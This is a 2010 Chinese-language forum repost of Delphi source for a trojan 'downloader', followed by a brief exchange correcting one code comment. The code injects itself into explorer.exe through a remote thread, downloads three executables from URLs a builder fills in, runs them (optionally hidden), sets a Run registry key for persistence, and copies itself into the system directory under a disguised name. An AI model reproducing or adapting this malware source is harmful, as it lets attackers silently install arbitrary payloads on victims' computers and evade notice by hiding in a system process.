[轉貼] delphi下載者源碼

本帖最後由 piece 於 2010-8-22 16:06 編輯
  1. program downloader;

  2. {$IMAGEBASE $13140000}

  3. uses
  4. Windows,
  5. SysUtils,
  6. urlmon,    //下載單元 ,這個改api減少體積不多
  7. Registry; //注冊表單元,這個可以改成api,會減少很多體積

  8. var
  9. url: pchar ='                                            ';    //依次3個留出了生成器寫入下載地址的位置
  10. url2: pchar ='                                            ';
  11. url3: pchar ='                                            ';
  12. procedure Download; //下載過程
  13. begin
  14. URLDownloadToFile(nil, url, 'C:\windows\temp\system.exe', 0, nil);    //下載文件
  15. WinExec('C:\windows\temp\system.exe', SW_SHOW); //SW_SHOW or SW_HIDE //執行文件 sw_show是顯示運行,sw_hide是隱藏運行

  16. URLDownloadToFile(nil, url2, 'C:\windows\temp\system2.exe', 0, nil);
  17. WinExec('C:\windows\temp\system2.exe', SW_SHOW); //SW_SHOW or SW_HIDE    //winexec可以用api寫,減少體積

  18. URLDownloadToFile(nil, url3, 'C:\windows\temp\system3.exe', 0, nil);
  19. WinExec('C:\windows\temp\system3.exe', SW_SHOW); //SW_SHOW or SW_HIDE
  20. end;

  21. var
  22. hModule, hModule_News: Pointer;
  23. Extent, Size, ThreadId: longword;
  24. ProcessHandle, Pid: longword;
  25. reg:TRegistry;
  26. sysdir:array[0..50] of char;

  27. begin
  28. GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
  29. //獲取Exp進程的PID碼,Shell_TrayWnd為類名,相關的需用SPY++來查看

  30. ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打開進程

  31. hModule := Pointer(GetModuleHandle(nil));
  32. //這裡得到的值為一個返回一個指針型變量,指向內容包括自身映像的基址和長度

  33. Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
  34. //得到內存映像的長度

  35. VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
  36. //在Exp進程的內存範圍內釋放一個足夠長度的內存

  37. hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  38. //確定起始基址和內存映像基址的位置

  39. WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
  40. //確定上面各項數據後,這裡開始進行操作

  41. CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);
  42. //建立遠程線程,至此注入過程完成

  43. CloseHandle(ProcessHandle);
  44. //關閉對像

  45. {上面這段代碼是插進程explorer.exe}
  46. begin
  47. Reg := TRegistry.Create;
  48. Try
  49.    Reg.RootKey := HKEY_LOCAL_MACHINE;
  50.    Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
  51.    Reg.WriteString('system', 'intenat.exe'); //寫入數據
  52.    Reg.CloseKey;
  53. Finally
  54.    Reg.Free;
  55. End;
  56. //上面是寫注冊表代碼

  57. GetSystemDirectory(sysdir,50);    //獲取系統目錄,賦給sysdir變量,getwindowsdirectory是獲取windows目錄
  58. if not FileExists(sysdir+'\intenat.exe') then    //如果系統目錄下不存在intenat.exe則執行
  59.    copyfile(pchar(paramstr(0)),pchar(sysdir+'\intenat.exe'),true); //復制自身到系統目錄下,名字是intenat.exe

  60. end;
  61. end.
複製代碼
Arrive a goal
Taiwan technology University

VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
//在Exp進程的內存範圍內分配一個足夠長度的內存

請問VirtualFreeEx不是釋放嗎? 怎麼會是分配?
電子信箱:onepiece@hack-stuff.com

TOP

VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
//在Exp進程的內存範圍內分配一個足夠長度的內存 ...
阿軍 發表於 2010-8-22 13:47



謝謝, 立即修正
Arrive a goal
Taiwan technology University

TOP